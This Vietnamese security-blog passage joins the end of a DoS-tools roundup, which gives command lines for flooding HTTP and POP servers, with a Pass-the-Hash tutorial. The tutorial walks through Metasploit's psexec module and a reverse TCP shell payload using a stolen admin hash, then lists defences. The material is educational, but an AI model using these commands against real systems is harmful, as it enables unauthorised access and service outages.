- Máy A và máy B sẽ dữ kết nối ít nhất là 75 giây, sau đó lại thực hiện một quá trình TCP Three-way handshake lần nữa để thực hiện phiên kết nối tiếp theo để trao đổi dữ liệu. 

- Thật không may kẻ tấn công đã lợi dụng kẽ hở này để thực hiện hành vi tấn công nhằm sử dụng hết tài nguyên của hệ thống bằng cách giảm thời gian yêu cầu Three-way handshake xuống rất nhỏ và không gửi lại gói ACK, cứ bắn gói SYN ra liên tục trong một thời gian nhất định và không bao giờ trả lời lại gói SYN&ACK từ máy bị tấn công. 

- Với nguyên tắc chỉ chấp nhận gói SYN từ một máy tới hệ thống sau mỗi 75 giây nếu địa chỉ IP nào vi phạm sẽ chuyển vào Rule deny access sẽ ngăn cản tấn công này. 

IV. Các công cụ tấn công DoS 

- Jolt2 

- Bubonic.c 

- Land and LaTierra 

- Targa 

- Blast20 

- Nemesy 

- Panther2 

- Crazy Pinger 

- Some Trouble 

- UDP Flood 

- FSMax 

1. Tools DoS – Jolt2 


- Cho phép kẻ tấn từ chối dịch vụ (DoS) lên các hệ thống trên nền tảng Windows 

- Nó là nguyên nhân khiên máy chủ bị tấn công có CPU luôn hoạt động ở mức độ 100%, CPU không thể xử lý các dịch vụ khác. 

- Không phải trên nền tảng Windows như Cisco Router và một số loại Router khác cũng có thể bị lỗ hổng bảo mật này và bị tools này tấn công. 

2. Tools DoS: Bubonic.c 

- Bubonic.c là một tools DoS dựa vào các lỗ hổng bảo mật trên Windows 2000 

- Nó hoạt động bằng cách ngẫu nhiên gửi các gói tin TCP với các thiết lập ngẫu nhiên làm cho máy chủ tốn rất nhiều tài nguyên để xử lý vấn đề này, và từ đó sẽ xuất hiện những lỗ hổng bảo mật. 

- Sử dụng bubonic.c bằng cách gõ câu lệnh: bubonic 12.23.23.2 10.0.0.1 100 

3. Tools DoS: Land and LaTierra 

- Giả mạo địa chỉ IP được kết hợp với quá trình mở các kết nối giữa hai máy tính. 

- Cả hai địa chỉ IP, địa chỉ nguồn (source) và địa chỉ IP đích, được chỉnh sửa thành một địa chỉ của IP đích khi đó kết nối giữa máy A và máy B đang được thực hiện nếu có tấn công này xảy ra thì kết nối giữa hai máy A và B sẽ bị ngắt kết nối. 

- Kết quả này do địa chỉ IP nguồn và địa chỉ IP đích của gói tin giống nhau và gói tin không thể đi đến đích cần đến. 

4. Tools DoS: Targa 

- Targa là một chương chình có thể sử dụng 8 dạng tấn công DoS khác nhau. 

- Nó được coi như một bộ hướng dẫn tích hợp toàn bộ các ảnh hưởng của DoS và thường là các phiên bản của Rootkit. 

- Kẻ tấn công sử dụng một trong các phương thức tấn công cụ thể tới một hệ thống bao giờ đạt được mục đích thì thôi. 

- Targa là một chương trình đầy sức mạnh và nó có khả năng tạo ra một sự nguy hiểm rất lớn cho hệ thống mạng của một công ty. 

5. Tools DoS Blast 2.0 

- Blast rất nhỏ, là một công cụ dùng để kiểm tra khả năng của dịch vụ TCP nó có khả năng tạo ra một lưu lượng rất lớn gói TCP và có thể sẽ gay nguy hiểm cho một hệ thống mạng với các server yếu. 

- Dưới đây là cách sử dụng để tấn công HTTP Server sử dụng Blast2.0 

+ Blast 192.168.1.219 80 40 50 /b "GET /some" /e "url/ HTTP/1.0" /nr /dr /v 

- Tấn công máy chủ POP 

+ Blast 192.168.1.219 110 15 20 /b "user te" /e "d" /v 

6. Tools DoS – Nemesys 


- Đây là một chương trình sinh ra những gói tin ngẫu nhiên như (protocol, port, etc. size, …) 

- Dựa vào chương trình này kẻ tấn công có thể chạy các đoạn mã nguy hiểm vào máy tính không được bảo mật. 

7. Tool DoS – Panther2


- Tấn công từ chối dịch vụ dựa trên nền tảng UDP Attack được thiết kế dành riêng cho kết nối 28.8 – 56 Kbps. 

- Nó có khả năng chiếm toàn bộ băng thông của kết nối này. 

- Nó có khả năng chiếm băng thông mạng bằng nhiều phương pháp ví như thực hiện quá trình Ping cực nhanh và có thể gây ra tấn công DoS 

8. Tool DoS – Crazy Pinger 

- Công cụ này có khả năng gửi những gói ICPM lớn tới một hệ thống mạng từ xa. 


9. Tool DoS – Some Trouble 


- SomeTrouble 1.0 là một chương trình gây nghẽn hệ thống mạng 

- SomeTrouble là một chương trình rất đơn giản với ba thành phần 

+ Mail Bomb (tự có khả năng Resole Name với địa chỉ mail có) 

+ ICQ Bomb 

+ Net Send Flood 

10. DoS Tools – UDP Flood 


- UDPFlood là một chương trình gửi các gói tin UDP 

- Nó gửi ra ngoài những gói tin UDP tới một địac hỉ IP và port không cố định 

- Gói tin có khả năng là một đoạn mã văn bản hay một số lượng dữ liệu được sinh ngẫu nhiên hay từ một file. 

- Được sử dụng để kiểm tra khả năng đáp ững của Server 

11. Tools DoS – FSMAX 


- Kiểm tra hiệu năng đáp ứng của máy chủ. 

- Nó tạo ra một file sau đó chạy trên Server nhiều lần lặp đi lặp lại một lúc. 

- Tác dụng của tools này là tìm cách tấn công làm chàn bộ nhớ đệm và tấn công DoS tới máy chủ. 

V. Kết luận phần I

- Khi sử dụng một Tool tấn công DoS tới một máy chủ đôi khi không gây ảnh hưởng gì cho máy chủ - Giả sử bạn sử dụng tool Ping of Death tới một máy chủ, trong đó máy chủ kết nối với mạng tốc độ 100Mbps bạn kết nối tới máy chủ tốc độ 3Mbps - Vậy tấn công của bạn không có ý nghĩa gì. 

- Nhưng bạn hãy tưởng tượng có 1000 người như bạn cùng một lúc tấn công vào máy chủ kia khi đó toàn bộ băng thông của 1000 người cộng lại tối đa đạt 3Gbps và tốc độ kết nối của máy chủ là 100 Mbps vậy kết quả sẽ ra sao các bạn có khả năng tưởng tượng. 

- Trong phần II của loạt bài viết tôi sẽ trình bày với các bạn những nội dung về định nghĩa BOT, BOTNET, cách xây dựng, cách sử dụng các BOTNET từ đó chúng ta hiểu cách hoạt động và tìm ra những giải pháp để chống tấn công DDoS một cách hiệu quả nhất.

Editor: Vinhhq (Baomathethong.blogspot.com)
Author: Hoàng Tuấn Đạt  
Source: Vnexperts.net

Thứ Hai, 6 tháng 6, 2011

Tìm hiểu phương thức tấn công "Pass the Hash"

Trong bài này chúng tôi sẽ giới thiệu cho các bạn về kỹ thuật tấn công Pass the Hash và minh chứng quá trình được sử dụng để lấy các hash mật khẩu bị đánh cắp và sử dụng chúng thành công mà không cần phải crack nội dung đã được ẩn giấu của chúng.

Là một chuyên gia bảo mật, bạn chắc chắn tập trung rất nhiều vào việc bảo đảm cho các chính sách mật khẩu đủ phức tạp nhằm bảo vệ các mật khẩu không bị crack bởi các cá nhân với các ý định hiểm độc. Trước đây, chúng tôi đã giới thiệu cho các bạn một bài viết gồm có hai phần giới thiệu về sự phức tạp của mật khẩu Windows và cách chúng có thể bị crack như thế nào: Mật khẩu Windows có thể bị crack như thế nào. Trong bài này chúng tôi đã cung cấp cho các bạn một kiến thức tổng quan về cách các mật khẩu được hash, được lưu và cách kẻ tấn công có thể bẻ khóa các mật khẩu này như thế nào.

Điều gì sẽ xảy ra nếu chúng tôi nói cho bạn rằng với các trường hợp đã cho, thậm chí không cần crack các mật khẩu của bạn mà vẫn có thể tăng quyền truy cập vào hệ thống như thể đang sử dụng username và password của bạn? Không ám chỉ đến một số khai thác 0-day đã được cải tiến hay các mẹo lừa bạn kích vào một liên kết nào đó trong email giả mạo mà nó có thể được thực hiện hết sức đơn giản với kỹ thuật mang tên Pass the Hash. 

1. Hash mức gói dữ liệu

Bất cứ khi nào bạn tạo một mật khẩu cho một tài khoản nào đó trong Windows, nó sẽ biến đổi mật khẩu đó thành một hash. Một hash là kết quả của quá trình mã hóa được thực hiện bằng cách lấy một chuỗi dữ liệu với kích thước tùy tiện, sau đó thực hiện mã hóa toán học cho chuỗi dữ liệu này, kết quả trả về là một chuỗi với kích thước cố định nào đó. Kết quả cuối cùng thay vì có một mật khẩu “PassWord123”, bạn sẽ có chuỗi mật khẩu “94354877D5B87105D7FEC0F3BF500B33”. Điều này có một số ý nghĩa. Trước tiên, nó có nghĩa rằng mật khẩu của bạn không nằm trên ổ cứng cục bộ được lưu dưới dạng văn bản trong sáng, nơi bất cứ ai cũng có thể truy cập nó, thứ hai là mật khẩu của bạn không được truyền đi qua mạng dưới định dạng văn bản trong sáng khi bạn nhận thực thiết bị khác (chẳng hạn như domain controller). Chúng tôi sẽ không rehash cách các hash được tạo như thế nào trong bài viết này, tuy nhiên nếu bạn muốn xem lại quá trình này làm việc như thế nào, bạn có thể tham khảo lại bài viết về cách crack mật khẩu Windows tại đây.

Khi cố gắng truy cập vào một tài nguyên nào đó trên máy tính được bảo vệ bằng biện pháp nhận thực username và password, bạn sẽ gặp khó khăn về vấn đề nhận thực bởi host. Về cơ bản, bạn cần cung cấp username và password. Khi đánh vào mật khẩu, máy tính của bạn sẽ thực hiện hành động hash trên mật khẩu và đệ trình nó tới host để nó sau đó sẽ được so sánh với cơ sở dữ liệu nhận thực. Nếu kết quả tương xứng, bạn sẽ truy cập thành công.

Hình 1: Cố gắng kết nối dựa trên sự nhận thực thông thường

Giờ đây chúng ta hãy đi xem xét một kịch bản khác. Điều gì sẽ xảy ra khi thiết lập thủ công một kết nối tới host có tài nguyên mà chúng ta muốn truy cập, tuy nhiên thay vì cung cấp cho nó username và password không có đặc quyền, chúng ta cung cấp lại cung cấp username của Administrator và administrator hash mà chúng ta đã đánh cắp? Cần nhớ rằng, tất cả những gì ở đây host quan tâm là việc nhận một hash tương ứng với những gì nó mong đợi. Điều đó có nghĩa rằng bạn không phải thực hiện chức năng hash một chiều trên mật khẩu mà chỉ cần cung cấp hash, đó cũng là những gì cơ bản nhất cho tấn công này.
Hình 2: Pass the hash trực tiếp host đích

2. Sử dụng Metasploit để Pass the Hash

Chúng tôi đã giới thiệu cho các bạn lý thuyết nằm phía sau tấn công còn giờ đây là lúc thực thi nó. Trong thử nghiệm này, chúng tôi sẽ pass một hash đánh cắp của một người dùng có đặc quyền quản trị viên vào một hệ thống nạn nhân. Để thực hiện nhiệm vụ này, chúng ta cần hai thứ. Đầu tiên, chúng ta cần một hash đánh cắp của người dùng quản trị. Có nhiều phương pháp khác nhau để có thể thu được hash mật khẩu, bạn có thể tham khảo các cách thực hiện tại đây. Cùng với hash đánh cắp, chúng ta cần một copy Metasploit, đây là một công cụ mà chúng ta sẽ sử dụng để thực hiện tấn công này.

Metasploit là một framework dành cho việc thử nghiệm sự thâm nhập (miễn phí) được phát triển bởi HD Moore, hiện nay là của Rapid7. Bạn có thể download Metasploit về máy tại đây.

Một cách khác, bạn có thể download và sử dụng Backtrack 4. BT4 là một phân phối Linux live-CD được thiết kế đặc biệt cho việc hack và test sự thâm nhập đi kèm với vô số công cụ cài đặt và biên dịch trước, trong đó có cả Metasploit. Bạn có thể download BT4 tại đây. Sau khi download về máy, bạn sẽ tìm thấy Metasploit trong thư mục /pentest/exploit/framework3. Các hình ví dụ được sử dụng trong phần còn lại của bài viết này được lấy từ BT4.

Với hash đánh cắp và Metasploit trong tay, chúng ta sẽ bắt đầu chuẩn bị cho việc tấn công. Để bắt đầu, bạn phải khởi chạy giao diện điều khiển Metasploit. Trong BT4, bạn có thể thực hiện bằng cách duyệt đến thư mục /pentest/exploit/framework3 và đánh ./msfconsole.

Hình 3: Khởi chạy giao diện Metasploit

Metasploit là một framework, phụ thuộc vào việc sử dụng các modul khác nhau để thực hiện các hành động của nó. Trong trường hợp này, chúng ta sẽ sử dụng modul psexec. Psexec là một công cụ rất phổ biến và được sử dụng để thực thi các quá trình trên hệ thống từ xa và redirect đầu ra của các quá trình đó trở lại hệ thống mà bạn đang sử dụng. Để sử dụng modul này, đánh use windows\smb\psexec và nhấn Enter. Shell sẽ nhắc bạn thay đổi sao cho tương ứng với việc sử dụng modul này.

Hình 4: Sử dụng modul psexec

Tiếp đến chúng ta cần thiết lập tải trọng đang phân phối. Metasploit sẽ mở một kết nối cơ bản đến nạn nhân của chúng ta để khi username và hash đã cung cấp cho chúng ta sự nhận thực đúng cách, tải trọng sẽ phát hiện những gì đang được thực thi bằng cách sử dụng psexec. Trong trường hợp này, chúng ta có tất thực hiện tất cả các kiểu ý định xấu đối với nạn nhân thay vì mở một chương trình gì đó. Một trong các phương pháp hiệu quả cho việc thực hiện là sử dụng một TCP shell ngược. Đây là tải trọng sẽ thực thi một instance của cmd.exe và chuyển nó trở lại qua kết nối của chúng ta để từ đó chúng ta có thể truy cập nó từ xa. Để sử dụng tải trọng này, đánh set payload windows/shell_reverse_tcp.

Hình 5: Thiết lập tải trọng cho TCP shell ngược

Để sử dụng modul và tải trọng này, có một vài tùy chọn mà chúng ta cần phải cấu hình. Để thấy các tùy chọn, bạn có thể đánh vào một số tùy chọn được hiển thị và nhấn Enter.

Hình 6: Các tùy chọn có thể cấu hình cho modul và tải trọng hiện hành

Để thiết lập các tùy chọn cần thiết cho công việc của mình, chúng ta cần sử dụng cú pháp “set [option name] [value]”. Các giá trị cần được thiết lập:

  • RHOST – Địa chỉ IP của nạn nhân
  • SMBPass – Hash đánh cắp của nạn nhân
  • SMBUser – Username của nạn nhân
  • LHOST – Địa chỉ IP của máy tính đang tấn công của bạn

Trong hầu hết các trường hợp, chỉ có bốn tùy chọn cần được cấu hình, còn các tùy chọn khác có thể để mặc định. Khi cấu hình tất cả các tùy chọn này, đầu ra các tùy chọn sẽ tương đồng như những gì trong hình 7:

Hình 7: Các tùy chọn hoàn chỉnh cho tấn công này 

Tại đây, tất cả sự chuẩn bị đã đầy đủ và chúng ta có thể thực thi tấn công. Để thực hiện tấn công, hãy đánh exploit và nhấn Enter. Nếu thành công, bạn sẽ thấy màn hình tương tự như đầu ra hiển thị trong hình 8, một Windows command shell. Lúc này chúng ta có thể điều khiển máy tính mà không cần biết mật khẩu của người dùng quản trị.

Hình 8: Khai thác thành công cho chúng ta một Windows command shell

3. Phòng chống Pass the Hash

Pass the hash là một hành động rất khó phát hiện và ngăn chặn do bản tính của cách nó khai thác quá trình nhận thực. Có một số thứ bạn có thể thực hiện:

  • Kiểm tra hệ thống phát hiện xâm nhập – Từ phối cảnh của một IDS, bạn chắc chắn không thể bắt được tấn công đang thực hiện pass the hash vì nó hầu như giống một chuỗi nhận thực thông thường. Mặc dù vậy vẫn có thể thành công trong việc bắt kẻ tấn công dựa trên các hành động được thực hiện sau khi chúng tăng quyền truy cập. Cho ví dụ, trong kịch bản ví dụ, bạn chắc chắn sẽ không thấy IDS cảnh báo về việc pass của hash đối với máy tính nạn nhân, tuy nhiên bạn sẽ thấy một cảnh báo khi psexec tạo một shell và gửi nó trở lại qua mạng. Điều này cho phép bạn có thể phát hiện tấn công khi xảy ra và đáp trả thích hợp với vụ việc.

  • Cách ly các hệ thống nhạy cảm – Tất cả các máy tính đều được cho là có chứa dữ liệu nhạy cảm cần được cách ly trong mạng. Sử dụng cấu hình router và firewall thích hợp bạn có thể hạn chế sự truy cập vào các máy tính chứa dữ liệu nhạy cảm này, chỉ dành cho nó các host tin cậy. Điều này sẽ ngăn chặn được người dùng trên các máy tính khác có thể sử dụng kỹ thuật pass the hash để tăng quyền truy cập vào hệ thống nhạy cảm.

  • Nhận thực hai hệ số - Sử dụng mật khẩu là phương pháp nhận thực duy nhất đang trở thành lỗi thời. Để nhận thực người dùng tốt hơn, nó cần phải gồm có hai đến ba hệ số. Các hệ số này là những thứ bạn biết (mật khẩu), thứ gì đó bạn có (thẻ thông minh) và thêm vào đó là một số thứ như (võng mạc, dấu vân tay). Sự kết hợp các yếu tố trên sẽ tránh người dùng có thể nhận thực một hệ thống khi họ chỉ có mật khẩu và hash đánh cắp.

  • Hạn chế truy cập quản trị - Càng nhiều tài khoản người dùng có mức truy cập quản trị vào hệ thống mạng, khi đó khả năng các hash của họ bị đánh cắp và được sử dụng để truy cập vào các máy tính với một mức đặc quyền càng cao. Để tránh điều đó, bạn luôn cần thực hiện hành động thẩm định để phát hiện xem mỗi người dùng có truy cập mức quản trị có quả thực cần nó để hạn chế bề mặt tấn công của mình.


4. Kết luận

Pass the hash là một kỹ thuật rất dễ thực hiện và rất hiểm độc cho nạn nhân. Như những gì bạn đã thấy qua bài này, tất cả những gì cần để thực hiện tấn công này là một cặp công cụ và một chút động cơ, khi đó kẻ tấn công có tất cả những gì hắn cần để làm tê liệt cơ sở hạ tầng của bạn. 

Hy vọng với sự hiểu biết về tấn công này và một số chiến lược phát hiện cũng như ngăn chặn mà chúng ta đã thảo luận, bạn sẽ chuẩn bị một cách chu đáo hơn để phòng chống và đáp trả với kiểu tấn này.

Source: Quantrimang.com.vn